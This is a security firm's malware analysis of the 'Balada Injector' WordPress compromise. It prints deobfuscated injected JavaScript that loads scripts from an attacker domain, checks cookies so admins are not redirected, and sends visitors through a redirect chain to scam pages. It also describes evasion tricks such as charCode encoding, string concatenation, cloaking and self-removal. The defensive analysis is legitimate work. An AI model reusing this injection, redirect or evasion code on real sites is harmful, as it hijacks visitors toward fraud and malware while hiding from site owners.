The Security Research Team at GeoEdge has discovered compromised WordPress websites redirecting users to malicious scams and pornography pages. The exploitation of 1-day vulnerabilities, including CVE-2023-32241 and various other vulnerabilities, has proven to be highly effective in targeting websites, resulting in their compromise.
Approximately 230 websites have been affected, linked to over 500 advertising campaigns worldwide. Notably, these campaigns do not target specific locations, operating systems, or devices. Rather, scammers exploit vulnerabilities in these websites to inject code. Through the use of malicious code, fraudsters manipulate website traffic to engage in fraudulent activities using techniques such as cookie poisoning and redirects.
Since 2017, an attack called “Balada Injector“, resulted in widespread infections of WordPress websites. To gain insights into the compromised sites, Moriya Pedael, a security researcher at GeoEdge, investigated the campaign. In this blog post, we delve into the intricacies of this code, which redirects users from legitimate websites to fraudulent content.
Figure 1: Malicious pages after redirection
Initial Analysis
GeoEdge’s security research team began their investigation by examining the HTML file of the compromised page for any suspicious elements.
An external resource responsible for the redirect was observed. The script within the resource was evidently malicious, despite being embedded in a legitimate and well-known website. Considering it as a potential attack, the team conducted a systematic search for additional instances of the same resource within their system. As anticipated, they discovered a widespread presence of this resource across numerous sites. Further investigation revealed that all of these sites were constructed using the WordPress platform.
It became evident that the sites containing the malicious code were not inherently malicious themselves, but rather victims of a deliberate malicious attack. The team sought to identify a stronger commonality among them, such as the utilization of the same plugin with a known Common Vulnerabilities and Exposures (CVE) or a shared vulnerable version of WordPress.
Plug-in | versions | ratio |
Elementor | “3.12.0”,”3.11.3″,”3.9.2″,”3.10.0″,”3.7.2″,”3.12.2″,”3.13.2″,”3.9.1″,”3.6.5″,”3.13.1″,”3.8.1″,”3.10.2″,”3.10.1″,”3.11.5″,”3.8.0″,”3.5.6″,”3.12.1″,”3.11.2″,”3.13.0″,”3.11.1″,”3.6.7″ | 91.2% |
Yoast SEO | “19.2”,”20.0″,”17.1″,”20.2″,”20.6″,”19.11″,”20.3″,”20.7″,”20.2.1″,”20.1″,”19.13″,”19.14″,”20.4″,”20.5″,”19.12″,”14.1″ | 58.4% |
WooCommerce | “7.4.0”,”7.4.1″,”6.8.2″,”7.7.0″,”7.2.0″,”7.5.1″,”6.7.0″,”6.8.0″,”7.3.0″,”7.0.1″,”7.6.1″,”7.6.0″ | 22.4% |
WPForms | “1.7.8”, “1.7.9.1”, “1.8.1.2”, “1.8.0.1”, “1.6.8.1” | 15.3% |
Table 1: Examples of different versions of WordPress’s plugins across various attacked sites
The results obtained from the investigation were diverse. While some of the sites did indeed employ vulnerable versions of WordPress or plugins, it could not be definitively established unanimously whether the attacker exploited the same CVE for this specific attack.
Through extensive web research, it was uncovered that the Sucuri Security team, a website security company, had published an article last month detailing their research since 2017. The Sucuri Team had been tracking a widespread WordPress infection attack known as “Balada Injector.” Upon examining the shared resources, it became clear that it aligned with the attack under investigation. However, this write-up will not delve into the specific CVEs utilized by the attacker, the impact on the targeted websites, or recommendations for protecting WordPress websites
Instead, the focus will be on GeoEdge’s expertise in understanding redirect mechanics and determining the script’s malicious nature prior to reading Sucuri’s research. However, it is crucial to acknowledge the dynamic and ever-evolving nature of this attack. The subsequent explanation is specific to the initial version GeoEdge encountered.
Additionally, the GeoEdge security team detected multiple variations of the same flow within the system, encompassing different assistant sites, cookie names, and a range of evasion techniques for each aspect of the campaign:
- Lexical based testing environment
- Encoding
- Obfuscation
- String Concatenation
- Flow control
- Cloaking
- Cookies
- Cleaning process
- Removing delivered scripts.
How the Redirect Works
As previously mentioned, GeoEdge’s research began upon discovering a malicious script embedded within a legitimate landing page. Now, let’s examine various phases of this attack:
Figure 2: Flow of the redirect attack
1. Exploiting 1-day vulnerabilities for initial access.
The attackers exploited vulnerabilities to gain access to the compromised websites. In some cases, they obtained limited access and could only carry out XSS attacks by embedding the link to the malicious script within the page, similar to what we initially observed in our system.
However, in other instances, the attackers gained full access to the fallen site. In these cases, we observed the presence of the same malicious code, but it originated from the same compromised domain.
2. Injecting Malicious Script into the Page
Inside the HTML of the attacked page, we saw the snippet below:
The attacker was unable to gain complete access to the domain but succeeded in embedding the ‘header’ script sourced from the domain ‘scriptsplatform.com’.
If the attacker obtained greater access, it was observed that the embedded script originated from the compromised domain itself:
Attention:
It is important to be aware of certain HTML elements, such as ‘script’, ‘iframe’, or elements outside the ‘html’ block, as they can indicate a potential attack. While it is possible that these elements could be a result of poor implementation, they often signify an attempt by an unauthorized individual to inject information into your webpage without proper access to modify the generated code.
The URL of the first script, https://cdn.scriptsplatform.com/scripts/header.js
revealed this obfuscated script:
Figure 3: The first embedded obfuscated script
Attackers employed obfuscation as a means to render code complex and obscure for humans or computers to understand. Attackers use this technique to eliminate lexical based detection environments.
The script is designed to generate a new ‘script’ element and insert it either before the currently running script or at the end of the ‘head’ element. As we can see in the snippet below, the attacker utilized encoding techniques, specifically employing the ‘fromCharCode’ method, to mitigate the use of common words for redirect attacks.
‘fromCharCode’ Method returns a string created from the specified sequence of UTF-16 code units. (MDN sheets)
The clear script after deobfuscating it:
function stendby(url) {
var documentElement = document,
scriptElement = documentElement['createElement']('script');
scriptElement['src'] = url,
document['currentScript'] ?
document['currentScript']['parentNode']['insertBefore'](scriptElement, document['currentScript']) :
documentElement['getElementsByTagName']('head')[0]['appendChild'](scriptElement);
}
function isScriptLoaded(url) {
return Boolean(document['querySelector']('script[src="' + url + '"]'));
}
var klo = 'https://stat' + String['fromCharCode'](105, 115, 116, 105, 99, 115, 46) + 'script' + String['fromCharCode'](115, 112, 108, 97, 116, 102, 111, 114, 109, 46, 99) + 'om/collect';
//klo = 'https://statistics.scriptsplatform.com/collect'
isScriptLoaded(klo) === ![] && stendby(klo);
Upon investigation, it was observed that in some instances, aside from the ‘header’ script, two additional scripts were also embedded. These additional scripts were typically found at the end of the main element.
Those two scripts discussed above are nearly identical, with the exception of one distinction.
If the ‘header’ script fails to generate the redirect script, both the ‘stats’ and ‘footer’ scripts attempt to create it as well before removing it to eliminate any traces of it and ‘clean’ the page
The only difference between them lies in the URL source used for the scripts.
If the redirect script was not created in either the ‘header’ or ‘stats’ sections from the subdomain “statistic.scriptsplatform.com”,
the ‘footer’ section will attempt to generate the script from another subdomain, namely “top.scriptsplatform.com”.
Figure 4: ‘stats’ obfuscated script
The clear script of ‘stats’ after deobfuscation:
function isScriptLoaded(c) {
return Boolean(document['querySelector']('sc' + 'ri' + 'pt[' + 'sr' + 'c="' + c + '"]'));
}
var bd='https://statistic.scriptsplatform.com/collect'
if (isScriptLoaded(bd) === ![]) {
var d = document, s = d['createElement']('sc' + 'r' + 'ip' + 't');
s['src'] = bd, document['currentScript'] ?
document['currentScript']['parentNode'] !== null && document['currentScript']['parentNode']['insertBefore'](s, document['currentScript']) :
d['getElementsByTagName']('head')[0] !== null && d['getElementsByTagName']('head')[0]['appendChild'](s);
}
document['currentScript'] && document['currentScript']['remove']();
As observed above, the attacker employed string concatenation techniques to obfuscate words such as ‘script’ and ‘src’, thereby thwarting the detection mechanisms from identifying the malicious script.
Additionally, the attacker implemented a server-side cloaking mechanism to selectively deliver the malicious script or filter out the impression to avoid detection.
Figure 5: The server-side cloaking filters the request and omits the script in the response.
3. Redirect Chain | Part 1
The script that was created in the phase above, https://statistics.scriptsplatform.com/collect
revealing this obfuscated code:
Figure 6: The second embedded obfuscated script
This script initiates the first redirect within the ‘redirect chain’ while ensuring that the user is neither an admin nor a user who has already been redirected on the same day.
Filtering before the redirect
The collect API makes preliminary checks before redirecting the user.
These checks are in place to make sure that:
- The user is not connected as admin.
- The user is not a disconnected admin.
- The user hasn’t already been redirected in the past day.
In order to filter, the attacker uses the client’s cookies.
The cookies ‘wp-settings’, ’wp-settings-time’ indicate that the admin is connected.
(These cookies are built in WordPress sites to facilitate customizing the admin interface)
In the scenario where the user is identified as an admin, the attacker generates an additional cookie called ‘simpeladm’ with a 90-day expiration to retain the information that the client is an admin. If this cookie is present within the document, the page will not undergo redirection. By employing this method, the attacker can monitor the administrators and ensure that even when they are disconnected, they will not be redirected.
On the other hand, if the user is not an admin, a script is utilized to create a cookie named ‘simpeladus’ with a 1-day expiration, redirecting the user to the subsequent part of the chain. Upon subsequent visits to the page, as the cookie already exists, the user will not be subjected to redirection.
Figure 7: The flow of the redirect script
The clear script:
function main() {
var c = document['cookie']['indexOf']('wp-settings') !== -1,
d = 'simpeladm',
e = 'simpeladus';
if (c || checkForCookie('wp-settings-time') != null || checkForCookie(d) != null) {
if (checkForCookie(d) != null) {} else createCookie(d, 1, 90);
} else {
var f = document['cookie']['indexOf'](e) !== -1;
if (f) {
} else {
createCookie(e, 1, 1);
var g = document,
h = 'https://come.scriptsplatform.com/away.php?sourceid=43637753&suid=364&pid=23468658'
g['location']['href'] = h, g['location']['replace'](h);
}
}
}
function createCookie(c, d, e) {
var f = '';
if (e) {
var date = new Date();
date['setTime'](date['getTime']() + e * 24 * 60 * 60 * 1000), f = '; expires=' + date['toUTCString']();
}
document['cookie'] = c + '=' + (d || '') + f + '; path=/';
}
function checkForCookie(stringText) {
//returns the content of the cookie if it exists, or null if it doesn't
var e = stringText + '=',
cookies = document['cookie']['split'](';');
for (var g = 0; g < cookies['length']; g++) {
var h = cookies[g];
while (h['charAt'](0) == ' ') //split space before the cookie id
h = h['substring'](1, h['length']);
if (h['indexOf'](e) == 0)
return h['substring'](e['length'], h['length']);
}
return null;
}
main()
4. Redirect Chain | Part 2
If the user meets the criteria to be redirected in the final phase, their browser sends a redirect request to the URL: https://come.scriptsplatform.com/away.php?
The response to this request is a minimal HTML file containing only another redirection within it.
The response html:
5. Redirect Chain | Part 3
This URL, https://come.scriptsplatform.com/go.php is the last in the chain before reaching the scam sites.
This request gets status code 302 with the URL of the scam’s landing page.
Figure 8: Example of status code 302 with the URL of the scam’s landing page.
6. The Malicious Landing Page
Figure 9 displays a deceptive page warning users about their damaged phone, enticing them to download a malicious fake anti-virus program.
Figure 10 shows a page falsely declaring that the user is special and has won a fake gift.
Figure 11 depicts a page claiming to be an installation of a YouTube ad blocker.
GeoEdge’s security team will remain vigilant in monitoring ongoing ad landscape threats. Stay tuned for further updates. For any inquiries, please don’t hesitate to reach out to the GeoEdge security research team.